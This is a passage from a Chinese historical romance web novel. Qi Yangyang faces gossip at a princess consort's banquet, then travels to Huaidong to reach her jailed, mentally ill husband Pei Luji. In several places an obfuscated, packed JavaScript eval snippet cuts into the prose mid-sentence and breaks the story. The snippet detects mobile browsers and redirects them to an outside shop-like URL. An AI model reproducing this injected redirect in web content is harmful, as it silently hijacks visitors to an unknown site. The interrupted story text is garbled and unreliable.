“对了,你刚刚说你要和离,你已经嫁人了?” 不等她回答,他又独自掰了掰指头,“哦,也对,是我糊涂了,你如今已经二十,是该嫁人了。” 说着他隐隐有失落之色,但旋即他又舒怀道:“你既已经嫁了人,想必应是有人替你张罗操劳婚事的吧?这些年你过得怎样?没有受欺负吧?为何会和离,你那位夫君这些年待你怎么样?你是不是受委屈了?” 一连串的问题落下来,戚央央压根不知道该先回答哪个,而且此人怪异得很,虽说是旧时叔伯家儿子,他许是从前远远地曾见过她一两面,可她却对他没什么印象,想来应是连话都没说过一句的,第一次见面,他便如此好奇别人的事,这样好吗? · 这沐江恩也是个奇人,央央第一次见他的时候,身上破破烂烂的,她因着从前沐家和戚家的渊源,好心好意替他安排住的地方,顺便给他安排在裴家的产业下工作,结果人家不止不领情,临走还将自己破钵里乞讨讨来的银子随手塞给央央。 他那枚虎牙在笑容的衬映下白得亮眼,“是给戚妹妹买零嘴吃的,下回哥哥再来找你。” 随后他就走了。 留下戚央央在原地捧着他辛苦讨来的那些碎银,忆着他褴褛的背影,心里负疚。 可是没过几天,央央随甄氏去给荆王妃庆生,却发现他以荆王亲卫的身份,出现在荆王府。 再次遇见他的那刻,他墨发高高竖起,一袭红锦袍,披软甲,腰挎长柄大刀的样子,真是截然不同了。 “戚妹妹,你也来宴席啊?今日是我们王妃生辰,王爷得恩旨进京来夫妻团聚一段时候,应该还能待一段时日才离去。” 看着他意气风发的脸,央央真不敢相信他前些时日还难民似的流落在京城街头。 由于是不怎么相熟的故人之子,又是外男,戚央央没同他寒暄几句就离开。 开宴的时候,他随荆王爷坐在主席旁那几桌,她则同那些贵妇一起隔着道道屏风,坐在花树岸边依水的席桌旁。 甄氏本来坐她旁边的一桌,后来荆王妃嫌闷把她叫过去聊天,她就一直坐在主席桌那附近了。 甄氏走后,戚央央旁边户部侍郎家的大姑娘赵安然开始同旁边荣安侯府的二娘子大肆说起了话: “前些时日,太子殿下派裴世子和几位东宫侍臣跟随下淮东,这淮东啊一去好几个月,那几位侍臣都带上自个的夫人一同去了,可是啊,裴世子是太子的心腹之臣,却没能捎带上自个夫人。” 荣安侯府的二娘子道:“你不知道吗?那天好多人都看见了,裴世子的马在为秦家那位大姑娘开路呢。” “裴世子跟随太子下淮东,给秦大姑娘开路是要做什么呢?” 赵安然拿余光觑了眼戚央央,瞪大眼睛故作恍然道:“裴世子他不会...哎哟!可那秦大姑娘都已嫁过一次了,世子他怎地还这样痴情啊?” “想当年啊,裴世子与秦大姑娘退婚那会,某些人可是卯足了力气追在世子身后,各种掉价跌份的事都做,真是丢尽我们闺秀的脸。” “哦,不对,听说她不过是个打秋风的破落户表姑娘,原来生在武夫家里的,实在算不得什么正儿八经的闺秀,当年也不是她死缠烂打打动世子的,据说是她姨母不小心流了个孩子,把过错推到人世子身上,然后强迫人家娶她的。” “那裴家指定上辈子做了什么大错之事了吧,摊上这么一对姨甥,简直来吸血的,难怪世子这些年看也不愿看她,说不定世子和秦大姑娘当年的婚事之所以告吹,也是这对姨甥弄出来的。” 换作以往,戚央央听见这种话,为了不闹大传到裴陆戟耳中惹他心烦,只会息事宁人,事后再在背后找人警戒那些人几句就罢了,但是如今,她们话中还牵扯了国公府和甄氏的名誉。 她若不站出来的话,只会助燃她们胆大妄为地肆意讨论国公府,日后势必会伤害到她婆母,还会让国公府名誉受损。 既然她都已经决定同裴陆戟和离,就不必再顾虑他对自己的看法了。 于是,她端起一杯酒笑着朝旁座的赵安然走来。 “世子和秦大姑娘当年的婚事怎么告吹的,我也不大清楚,但我怎么听说赵大姑娘之所以至今未嫁人,是因为对我家世子痴心一片,想进我府来当侍妾呢?” “我这人也不是那种霸占夫婿,不让他纳妾的人,但是,像赵大姑娘这样的喜欢在背后嚼舌根,诋毁人的人,我若是让她进门了,岂不是搅得裴府上下家宅不宁?二夫人你说是吧?” 荣安侯府的二娘子最近在为夫君纳妾之事闹得家宅不宁,此时被戚央央这么一反问,噎得说不出话。 赵安然则羞恼道:“你!谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006967|148121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想当侍妾了??” 戚央央不恼不急,含情的桃花眸闪啊闪,“那难道是我想错了?还以为你碍着我还在府上当夫人,你欲进府无门,才口出恶言在宴席上搬弄是非,欲泄一口恶气。如若不然,以赵府的教养,怎么可能有姑娘好端端地要说别府是非?” “你!你...”赵安然当年因未婚夫看上戚央央被退婚至今未嫁,本就怀恨在心,如今被她公然这么嘲弄,更是气炸道: “我知道了,定是世子见秦大姑娘绝了婚,想要继续前缘,欲把你休弃,所以你不甘是吧?” 戚央央也不是好欺负的:“倘若我与世子绝婚,那也必定是我们协商好要和离,绝不是谁要休弃谁,那我也算嫁得过如意郎君的人了,可赵大姑娘一把年纪缅怀着过去恩怨斤斤计较,怕是过得连我都不如,有什么资格质疑我呢?当年那刘郎君才不是因为看上我才同赵大姑娘退婚,而是因为你性格有缺陷!” “你!哼...”赵安然本来恼忿不已,突然想起什么似的,弯唇一笑,从怀里摸出了一个物什。 “世子夫人可知这是什么?” 戚央央看见她手中之物时,不由瞪大了眼睛。 “前些时日,听闻洛县挖出了一块少有的夜光石,京中不少富商、豪户都慕名前往出价了。” “可惜,都不如世子夫人出手大方。据闻一块夜光石,顶天了不过万两银,世子夫人却生生掷了几万两,戚家以前是武将出身,全靠你娘亲甄家外祖以前经商赚得那些钱,全都给了你,可再多的钱财,就算挥霍光了,世子估计也不会看你一眼。” “这琉璃瓶里的石头,据说是你赠给世子的?你还为了这块破石头,亲自前往洛县求了人家?人家本想把这石头留着自用,是你不要脸跪着乞求,又花了大钱,才要过来的吧?” “可世子还不是顺手就将这石头送给秦大姑娘了,这是我在秦大姑娘那看见,找她要来玩几天的。” “堂堂世子夫人,不是已经嫁得世子如意郎君了吗?怎么还要像以前那样,费尽心思,苦巴巴地做着这些讨好之事,跟在人家尾巴后追赶?倘若是我,若知道人家厌烦自己,定不会像你一样不知好歹跟在人屁股后追的,你不烦人家烦不烦哪?” “世子估计也是烦极了你的吧,也是够倒霉的,被你一盯上后就像水蛭似的,想甩甩不掉...” 戚央央眼睛定定地看着赵安然手里的夜光石,一句话也说不出来。 那天她从洛县回来,捧着好不容易买到的夜光石,心头珍惜万分,舍不得用手直接碰触,只能用一层层帛锦包裹,可赵安然这会却直接上手随意捏着。 在场的女眷本来都在看赵安然笑话,这会则交头接耳纷纷议论起戚央央。 这时,荆王妃的侍从捧着一颗南海夜明珠,来到戚央央面前。 “这位一定就是英国公府的世子夫人了,我们王妃说了,荆王爷从前得了世子相助,这会回京,定要给他夫人送上一份厚礼,请世子夫人笑纳。” 价值连城的夜明珠被从锦盒里打开的那刻,大家再也没有心思笑话世子夫人了。 人家拿热脸贴冷屁股追着世子又如何?到底人家才是世子夫人,是与世子休戚相关的人,世子所得到的一切,包括荣耀和钱财,与之共享的人只有她。 18. 第18章 “王妃说了,世子夫人蕙质兰心,才貌兼备,心地纯良,如兰似麝,与英国公世子实乃登对至极,日后倘有人心生嫉妒,出言中伤、造谣诽谤的话,尽管来荆王府,王妃和王爷定替夫人做主。” 前些时日还一身乞丐装,开宴之前又以王爷亲卫身份驻守府中,如今又更换上王妃侍从服饰,混迹其中的沐江恩,一副煞有其事的样子警告着在座的众人。 此时远在淮东的裴陆戟,前往行辕的中途突然命人停下车,疯了似的四下寻找。 车驾里的鎏金紫檀木匣被打开了,里头早已空无一物。 跟随裴陆戟身后的一辆车里头的秦兰沁大概猜到发生了什么事,两手紧紧攥握住,都握出了手汗,却依然咬牙告诉自己,根本没人会知晓出发前一天她碰过裴陆戟的行李,只要她别表现出来,他不会知晓的。 天边的云被风吹得堆叠了起来,天色越发阴沉,果然没多久就下起了春日的第一场大雨。 秦兰沁就倚在车窗前,眼巴巴地看着裴陆戟沿路着急如焚地找,身上被雨水浇了个湿透,始终沉住下气没吱声。 京城这边,荆王妃的生辰宴散席后,甄氏受荆王妃邀请留下继续作客,戚央央独自回府,她走出荆王府的时候,沐江恩以王妃侍从的身份追了出来。 “世子夫人请留步!” 戚央央停下。 “夫人忘记带走夜明珠了。” 她看着跑得满脸红晕的男子,屈膝一礼,“刚才多谢沐公子维护,只是这夜明珠价值不菲,是沐公子拿性命替王爷办差事换来的,我哪能真的收下啊?” “你去见王妃了?”沐江恩气息尚未平稳道。 戚央央点点头,“我郎君从未与荆王爷有任何交集,又怎么可能给到王爷那样大的相助以至于要送夜明珠呢?就算王爷真的要送,大可在送请柬之时就送,哪用等到今日宴席上,又恰好掐在那样的点上送?” 沐江恩用欣赏的目光看着她,终于理顺了气,笑道:“看来你可不像传言说的那样啊,倒真让人意外。” “传言说的哪样?终日只知沉湎情`爱,庸俗愚笨,浮浅智短吗?” 戚央央道:“前些时日在城中见沐公子,还是个衣衫褴褛沿街乞讨的乞丐,今日却突然衣着光鲜出现在荆王府,又能得到荆王爷亲赏的夜明珠,明明上回见面,你连我婚嫁与否都不知道,这回见面倒是把我底细摸得清清楚楚,你也很让人意外。” “牙尖嘴利,”沐江恩笑道,“倒是跟从前一样。” 她纳闷道:“你好像...跟我很熟?” 他笑:“都说了是故人了,我小时候见过你,能不熟吗?” 戚央央本不想和他聊太久的,无奈上回车子坏过之后,现在就时常隔三差五会坏。 “少夫人,车軎的地方好像又有些问题了,劳烦少夫人到檐下去稍等片刻。” 车夫跑来禀报道。 沐江恩便提议道:“反正一会国公夫人也要坐王府的车回去,不若我顺道让马房的人多准备一辆车送世子夫人回去?” 戚央央想着修车軎得花不少时间,她回府还有事情要忙,只好道:“那就有劳了。” 沐江恩让底下的人去准备车马,在等待的时间里,戚央央便和他移步到门房的小憩间,有一句没一句地聊天。 “沐阿兄给荆王做事多久了?很得王爷器重吗?” 她接过茶抿了一口,拉家常似的随口问道。 沐江恩很快笑了,“戚妹妹是在担心刚刚我以荆王妃名头给你送东西,传出去会给你夫君惹麻烦吧?” “毕竟英国公世子是太子少傅,太子向来是同荆王政见不同的,我这样一搅和,你怕太子会猜忌你夫君?” “可你都来参加荆王妃生辰宴了,你婆母同荆王妃又那么要好,你会在意这些?” “荆王妃和荆王又怎么能一样?太子跟荆王妃也很要好啊,可我哪里知道荆王会突然从属地回来,你还故意说我郎君帮了王爷大忙,我看你是故意的吧??” 戚央央也不跟他来斯文那一套了,把茶盏一撂,捋了袖子站起对峙道。 沐江恩还是笑,笑完眼里隐含疼色,一闪而逝,道:“你不是都要同他和离了,受了那样的委屈,还那样...维护他吗?” 戚央央刚才在宴席上被他当场见过自己狼狈的样子,说心里不疼是假的,可她又能如何呢? 她怏怏地重新坐下,拿回杯盏径直往里倒茶,一杯接一杯大口喝。 “在我十岁那年,再次遇见他开始,我就告诫自己,一定要...一定要让他过得幸福...” “你都不知道...以前的他有多好...” “怪我...都怪我...” 戚央央从决定和离开始到现在,统共就流过两次泪,一次是上回躲在巷子被他看见,这次是在荆王府和他聊着聊着没忍住,还是被他看见 “给你看些东西,你不要哭。” 沐江恩安慰她的话,不知为何听着有些熟悉。 戚央央擦干眼泪抬眼,便看见沐江恩袖子里装了满袖用黄油纸包成花瓣形状的甜糕。 “尝点甜糕吧,心情会好些。” 看着她边擦干眼泪边剥开甜糕的样子,他忍不住又道:“以前我也有个跟你差不多大的妹妹,她倘若还在人世,许是跟你一样也嫁人了吧,如果她的夫婿待她不好,要纳妾的话,我当兄长的一定踩上门去给她出头。” 戚央央听到这里愣了愣,刚囫囵吞下的一角甜糕就顺着唇舌滑入喉头,化成有桂花香的软甜味。 心脏的疼痛,像被一只手轻轻抚揉过一般。 · 裴陆戟下淮东已经有两个月,这两个月来,戚央央几乎每旬都同修竹通信,写的都是告诉他要如何变着花样在他的膳食里加巩固他病情的药。 上个月最后一旬,修竹八百里加急送来了信,说是世子忙于公务连饭也顾不上吃,每天都扑在堤坝修筑前线替太子张罗要务,他已经好几天没见着世子,派人送的饭膳进去,最终没瞧着人又被送回。 央央焦急不已, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014915|148121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找英国公帮忙,可英国公最近忙于处理边境同大周敌对的事,显然心力交瘁,只同她道:“央央啊,大夫都说他现在已经无碍了,那就应该不需要再吃药了,你放宽心些吧,他是个男人,哪就这么娇气了!” 他爹不想管他的事,最后央央又去找了婆母,甄氏一听,立马找了工部一位文臣的夫人,找她帮忙联系里头的人进去送药,这事才总算安心下来。 这个月最开始那两旬,修竹都如常寄信来禀报,说是世子有服药,可是具体是怎么服的,也没有详写。 央央忙着江南广陵那边修筑小院的事情,又要开始着手看商铺,便没多多问。 然后,这个月的最后一旬,修竹突然又八百里加急寄来一封信,信中说,世子将近一个多月没服药,审查案子升堂的时候突然发病,现在被关在暗室里,见人就掐,凶狠异常。 一得到这个消息,她焦急不已,跑去找英国公,发现英国公也正因为此事被皇帝召进入宫了。 甄氏也从宫里得知了消息,慌急来找戚央央,“央央!不好了!戟儿他病又犯了,据说还伤了人,陛下知道了,现在把你父亲召进宫,说是这样下去没办法,本来就规定患有这种病症不能为朝当官的,陛下因为怜才已经破格录用的,现在这事对朝廷影响挺大的,需要把戟儿革职了!” 戚央央闻言心慌意乱,裴陆戟这人心性极高,若是一朝被革职回家,暂不说外面人看他的目光,他这样的天纵之才,还那么年轻,怎能忍受终日赋闲在家? 这样的话,他一辈子就被毁了! 现在找父亲显然也束手束脚的做不了什么事,母亲的话,这时候要在府里稳住一切,也无暇顾及远在淮东的裴陆戟。 于是,戚央央想到一个人。 她在荆王府门口足足等了一天,才终于等到沐江恩,她跪下求沐江恩带她下淮东。 “求求你,沐大哥!淮东那边泾河一带的地方都被封起来了,不是官家的人没有腰牌根本就进不去!父亲他腰牌被收了,还被叫进了宫,我找不到人帮忙了!” “你是荆王爷身边的人,想必要个腰牌不难,日后,你若遇上难处,只要是我戚央央能办到的,赴汤蹈火在所不辞!” 见她哭得梨花带雨的样子,沐江恩不忍,“英国公世子伤人被收押,伤的那人还是淮东那边的秦家人,淮东秦氏在娄州那一带威望很大,陛下和太子...必须给出交代,你找到他也没用的...” 见他松动,央央抹掉眼泪道,“我有法子,只要尽快让他病情平复下来,向秦家道歉,加上秦大姑娘也在那边,他们会给几分面子秦大姑娘的。” 沐江恩耐不住她的请求,只要答应给她腰牌,并且一路护送她抵达淮东泾河一带。 第二日,戚央央随便编了个理由,告诉甄氏说要去京郊外田庄处理些事,就出发了。 如兰本来同她一起,抵达京郊的时候,她就把如兰和车夫留在了田庄,并嘱如兰帮忙遮掩好,她偷偷在田庄上了沐江恩一早准备好的车马,由他护送一路前往淮东。 19. 第19章 马车不停行驶三天三夜才抵达泾河外,中途沐江恩有提议停下休息,但戚央央不肯,说她来驾马,让他进车厢休息。 沐江恩看着她布满血丝的眼睛,便知她坚持不住了,哪能让她驾马,便只好日夜兼程,只在中途的驿站换了马,又匆匆赶路。 来到泾河外的时候,沐江恩心知此事到此为止,他已经违背荆王太多,他万不能在这里露面,于是,剩下的路只能靠戚央央自己了。 央央心知他已经帮助自己太多,便对他行一大礼后,带上他的腰牌骑马前往。 马是去年裴陆戟被英国公逼迫他带上戚央央去狩猎,临时抱佛脚教她的。 由于他教得随意,事后回府她操劳的事情也多,没有过多练习,所以如今独自驾着马,也是骑得东倒西歪,看着就揪心。 幸亏她心知自己已经麻烦沐江恩太多,刚才等他离开了才骑上马,要不然现在他看见她这样子,定然左右为难,走不是,不走也不是。 就这样心惊胆战骑着马来到泾河工程的营地外围,士兵看了她腰牌才肯放人进入,进去后由于还有好大一段路,她便继续骑马前行了。 可营地内的路都是淤泥路,没走多久马腿打滑,她直直地从马背上滚落下来,那一刻后脊背撞到一块尖锐的岩石,疼得四肢八骸都麻了,血液直充天灵盖,眼泪也没忍住彪了出来。 疼...摔马可真疼啊... 她感觉浑身都黏糊糊的,淤泥窒息的味道铺面而来,加之身上的剧烈痛感,多日来的疲惫,意识正在一点点抽离,耳旁众人围上来议论纷纷的吵杂声正在离她远去。 “这是谁?好像是世子夫人...” “世子夫人?裴世子的夫人?他被关了谁也不准探望,她来干什么?” 戚央央在人群中听见提及裴陆戟的话,用牙咬破唇瓣,拼命擦掉那些糊在面上的淤泥,强迫自己清醒,朝对面看热闹的人艰难爬去,“带...带我去牢里...” 那些人不敢擅作主张,见她朝自己爬来,衣裳头发都挂满泥水,狼狈不已的模样,都吓得连连后退。 “世...世...世...世子夫人,小小的不敢做决定...” “夫人还是请回吧,世子他伤人了,也不甚清醒,为免伤及无辜,只能将他关起,太子殿下已经交代了,谁也不能见世子的...” “那是不是...”戚央央咬牙从泥水里挣扎起来,“是不是只要我有癫病,也伤了人,就能关到一块去...” 她满身是泥的身姿纤细而瘦弱,只身一人,站在泥地上摇摇晃晃,目光因疼痛而迷离,却时刻告诫自己还不能倒下,手里不知何时攥紧了一块大石头。 前往看热闹的那些人,此时已经有些后悔挤到前头来了。 “启禀太子殿下,不好了!世子夫人在河口那边发疯了,用石头砸伤了几人!” 守卫前来急急禀报。 此时太子殿下正站在裴陆戟的牢笼外,那守卫所说的话一句不漏听进裴陆戟耳朵里。 “少仲你看,你那位挺能折腾的夫人,竟然偷摸来见你了,她把事情闹得这样大,还不是为了要与你关在一起,为了见你。” 太子俯视着牢笼下方紧攥着铁链,一脸凶相极力想自残的人,忧愁道:“如此,你还忍心伤害她吗?你把药吃了,早些恢复,孤还等着你替孤摆平秦斌严那案的。” 笼中人身上一道一道用铁链勒出来的血痕,眼底依旧不甚清明。 太子见状,轻轻一拂衣袍,冷道:“既然如此,孤又怎好辜负世子夫人的一片赤诚心。” “来人,去把患有癫病的戚氏抓起,关进去!” · 从前,京城一砚堂书斋旁边的茶肆曾有个很受欢迎的说书先生。 他说的故事大多是京中豪户、勋贵世家的真实逸事。 其中最广为人知,惹得平头老百姓最为津津乐道,成为茶余饭后必聊起的故事,便要数戚氏孤女寄人篱下却认不清自己的身份,爱上贵不可言的英国公世子后,死缠烂打癞蛤蟆吃天鹅肉的故事。 戚氏女不自量,总能做出许许多多惹人发笑、让人叹为观止的事情追逐裴世子,一如衙门前风雨不改的接送、有仇家抓走裴世子逼他吃狗饭,戚氏女为救情郎,代其吃狗饭、因为退婚传出世子有癫病遭嫌弃的传言,戚氏女隔天就找绸缎莊定制十里长的大横幅,满京城地挂满了她爱慕裴世子,定要让世子娶她的话... 这一件件、一桩桩事情,细数起来都足够编纂成册了,于是,当时一砚堂书斋的老书生为了提升营收,便亲自攥写了一部有血有泪的《戚女求爱记》,用极其辛辣讽刺的笔触,配合让人啼笑皆非的故事,把戚央央成功塑造成一个让男人们厌烦的、道德败坏、节行有亏的女子。 而更为讽刺的是,这样的女子她最后竟然能成功逼迫世子娶她,而故事中本与世子是天作之合、门当户对的秦氏最后却没能与世子一起。 许是故事的意难平让此书一度在京中乃至各地皆有流传,戚央央的“戚氏女”形象,一度为世人所嗤。 只是后来不知为何,经营一砚堂的老书生突然获罪,一砚堂被逼关停,那个说书先生也不知缘由消失,那些流传得有血有肉的话本,也仿佛在一夜之间消失,再也无人敢提。 要是一砚堂还在,戚央央这趟远赴淮东装疯打人,只为与夫共狱的荒唐事,怕是又要被大肆渲染一笔,成让天下人为之唾弃的痴女形象了。 · 戚央央浑身泥污,背部还流着血,髻发散落,连发尾都被泥水黏连成一块,被抓进牢的时候,双腿连走路的力气都没,全程是被两个守卫拽着手臂拖行进牢的。 听见“咔”的一下落锁声时,裴陆戟那双狠戾到发红的眼睛朝她瞪了过来。 戚央央见着他,终于如沙漠中窥见绿洲般,眉眼都松弛了下来,一句“郎君”还没喊出,就笔直地栽倒在了他怀中。 把世子夫人抓进去的守卫本着良心作祟,已经将她往牢里远离裴世子的地方放了,谁知她最终还是倒在世子怀里。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033233|148121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那几个守卫见状,不忍看见接下来的惨案,便拉上狱卒暂时避在外面。 戚央央意识里一直记着自己此趟来这有要事,没昏迷多久就醒来了,醒来的第一眼正好看见裴陆戟把拷着他双手的手铐砸坏,一双手就朝她脖子间掐了过来。 “呜...郎...郎君是我...” 央央被掐得快将透不过气,一只手拉着他铁箍般的臂,一手赶紧往怀里找药。 “郎...郎君别怕...郎君不要怕...央央会...一定会让你的病好起来的...” 她明白像裴陆戟这样傲岸不屈的人,他患上此疾,无法克制自己的意识和疯狂,对他而言该是多摧毁人的事。 一滴愧疚的热泪从她眼眶溢出,“对...对不起,倘若我不是去晚...去晚了的话,你一定不会变成现在这样...我...我对不起你...对不起战俘营里的所有人...” 她这话一落,裴陆戟的手顿了下。 趁此机会,她成功将一颗药丸塞进他口。 “你...”他眼睛睁大,瞪着她看的眼神多了丝承受不了的情绪,继而很快,那抹压抑的情绪又化为了自欺,“你为何要来这里?我沦为囚徒,你跑来做什么,就这么离不开我?不惜自甘作践成这样吗!” 他掐在她脖子处的手缓缓缩回来,用力将喉咙里的药丸抠出来,直扣得吐出了血,趴在地上咳个不停。 戚央央刚想挣扎着坐起来,他已经重新扑过来,手用力捏住她肩膀,眼睛很红,“你来做什么!你到底来做什么?!我让你来做这种事了吗??回去...快回去!!!” 两月没见他,他瘦了不少,原来颜如冠玉的英俊儿郎,由于日夜在堤坝工作,被晒黑了一些,皮肤也糙了一些,此时双眼凹陷颓唐的样子看在央央眼里,莫名地心酸。 “你得吃药啊!郎君,你吃药啊!” 戚央央忍着后背的疼痛,找回被他扔弃的药,想重新塞回他嘴里,想了想,还是捏着放进自己嘴里,然后凑准他唇吻了上去。 和裴陆戟做夫妻五年,她还是了解他弱点的。 他这人冷心冷肺,平时又总克制着自己,其实他欲`念强得很。 虽然看起来他每次都是因为被迫才与她同`房,但每次同`房,一旦她主动亲上了,他就很快陷进去,然后反客为主,每次到最后她才像是被迫承受的那个。 果然,在这种意识和理智都快将被击溃的关头,她的吻成了巨大的诱惑,起先他在拒绝,后来他已经成为索取的那一方。 可当他触碰到她身上滚烫得不同寻常的温度时,他就立马停了下来,眼神已经恢复些许清明:“你受伤了?” “骑...骑马摔的...”戚央央感觉身上的力气越来越少,窝在他怀里渐渐睁不开眼睛,却依然笑着:“郎君...我感觉身体很疼,可能从马背上摔下时把内脏摔裂了,若...若我马能骑好些...就好了...可现在...现在没时间了...郎...郎君你一定要听我说。” 20. 第20章 戚央央强忍着将自己要说的话说完后,重新昏倒在裴陆戟怀里。 裴陆戟听她说完,眼睛红得更厉害,当下再也顾不上什么一石二鸟的计谋,顾不上会否被太子察觉端倪,抱起她就大声喊着求见太子殿下。 太子闻言很欣喜,立马赶来牢狱中亲自释放裴陆戟。 “少仲,你没事了吧?” 先前太子想尽办法让人给他灌药,可每个进去的人都会被吓得双腿打颤爬出来,没想到这戚氏果真是天生克他的,还是她有办法。 裴陆戟抱着怀里不省人事的戚央央,对着太子有些失态,“求殿下赶紧请太医!!” 太子殿下见他似乎恢复神智,自然放行,连忙让人下去给裴陆戟安排舒适的房间,安排太医。 太医前来给戚央央诊断过后,叹气道:“世子夫人内脏并无破裂,只是伤到背部靠近骨盆的脊骨了,问题说大不大,说小也不小。” “不大是,这伤一般及时处理,好好调养应该能养好,说不小是,就算及时处理好,以后也有可能会影响夫人生产分娩,而且,她伤到这个地方,痛感剧烈,本应是常人难以承受的,可她偏偏还撑了那么久,导致气血亏虚严重,现在,有没有殃及性命很难说。” 听太医这么说,裴陆戟有些失神,想起刚刚戚央央昏过去前,抖着手竭力想握住他手,凑在他耳边说的话: “郎君...听...听我说...” “你现在...赶...赶紧同那个...你伤了的那个秦家人道...道歉...然...然后有秦姑娘在...她...她定能帮你...只...只要你...向...向他们承诺娶...娶秦姑娘为正妻...秦...秦家人定不再为难你...” 把这话说完,她就了结心事似的,朝他勉力笑了一下,昏死过去。 如今裴陆戟看着她躺在榻上脸色煞白,不断冒冷汗的样子,胸腔内莫名有股燥意窜得他难受,把太子遣来的侍婢端来的药砸了,吓得婢子连连告退。 “笨蛋...”他盯着她,抠着榻板的手指节泛白,眼神阴戾得可怕,“你以为你这样做很伟大是吗?还是说这还是你的小心思,你的计谋?你想和我和离,逼我看清自己的感情?” “不可能。”他一字一句冰冷道,“你听好了,就算你真同我和离了,我也不会,喜欢你。别妄想了!” “所以...”他眼神从阴戾到落寞,然后渐渐黯淡下去,“所以听懂了的话,就赶紧醒来滚蛋吧...” 由于他把婢女煎好送来的药弄翻了,所以他重新唤了自己的人去煎药,而他许是折腾累了不愿挪位还是怎么的,则一直坐在戚央央身边,用那双浸满怨恨的眼睛盯着她。 期间张白石来看过他,可他似乎不怎么想待见人,张白石一进门他听脚步声就开始叫人“滚。” 张白石笑得很贱,“少仲兄这性子还真够虚伪的,平日里在外装着一副斯文良善的模样,还会费神费力替夏氏那妇孺翻案,这会不顺心阴戾暴躁那一面就出来了,小心吓着嫂夫人。” “这幸好进来的是我,若进来的人是太子殿下,看你怎么办。” “我让你办的事办好了?不怕我把你这一路下淮东顺便私藏外室的事告诉张夫人?” “办好了办好了!老是拿这事要挟我!秦斌严的案子发回京中待审了,只是你与太子作对,一旦被太子知道,可有你好受的。” 张白石看了屏风里的人一眼,裴陆戟立马朝他抛来刀眼。 他笑笑,“不用这么小心眼,像嫂夫人这样...爱得热烈忠贞的奇女子...太麻烦了,这世上甚少有男子像你一样的高雅品味,就喜欢这种,我不行,遇上这样的爱我会窒息的。” 裴陆戟阴着一张脸,似乎是不欢迎他了,张白石自知惹人嫌准备离开,却突然听他低声道: “我没说喜欢。” 难得他在这关节眼还相当傲慢地不肯承认,倒是让张白石来了戏弄的兴致。 说实话,当他听到戚氏竟然只身赴险来到淮东,又在营地里发疯伤人,就为了要见夫君一面的时候,他不禁惊呆了。 不是没有见过女子痴情的,但在大晋对女子的教条下,女子再钟爱一个人,也只能把感情内敛,规行矩步,尽到相夫教子职责便可,多的便不可再做了。 更何况,世上人都是自私的,付出感情的人少,期盼得到的多,甚少有人爱得浓烈。 他是头回见识有女子会把自己那种浓烈的感情,用行动表现出来,还表现得如此让人深刻,常人难以超越的程度。 “你没说喜欢,那就是不喜欢了,既然这样的话,你俩和离算了,若你怕和离后她还缠着你,不若我这当兄弟的给你想个法子给她寻门姻缘?天下这么大,认真找总能找到第二天她喜欢的,到时候就不用缠你,她也不用受罪了不是...” 他话没说完,就感觉到空气中有一道凌厉的目光在朝他射来,如果目光能杀人的话,他大概已经千疮百孔流血倒下了。 见逗得差不多正打算走,屏风那头躺着的人突然爬起来吐了一口血。 裴陆戟肉眼可见的脸色变青,跑过去的时候还差点被屏风脚绊了一下摔倒。 “太医!!帮我叫太医!!快!!” 太医很快就来了,诊过脉施过针后,戚央央很快又睡着。 等走出外间的时候,太医却朝他跪了下去,“回禀世子爷,要救世子夫人...恐怕有些麻烦...” “有何麻烦,太医不妨直说。” “世子夫人如今亏虚严重,可以制作一些特殊的补药以补之,这样治理更快些,只是...只是制作这种补药,需用阳亢之人的血入引。” 紧急情况下,还哪有功夫找人来让太医去逐个诊断哪个有阳亢?可患有癫病的男子,一般或多或少,都会有阳亢的表现... “太医是要我取血对吗?” 太医不敢再多说一句,毕竟世子一直都接受不了自己患上这种病,不然也不会连药都不肯吃导致病情复发了,他真怕自己多说一句会刺激到他,然后今日死在这里。 张白石也生怕会生什么事端,赶紧上前挡在太医和裴陆戟面前,劝他道:“少仲兄...” “不必多言,张大人你来取吧,”不等他再多说一句,裴陆戟已经捋起衣袖坐下, “她是因我来此地的,虽说并非我愿,还净惹麻烦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050220|148121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 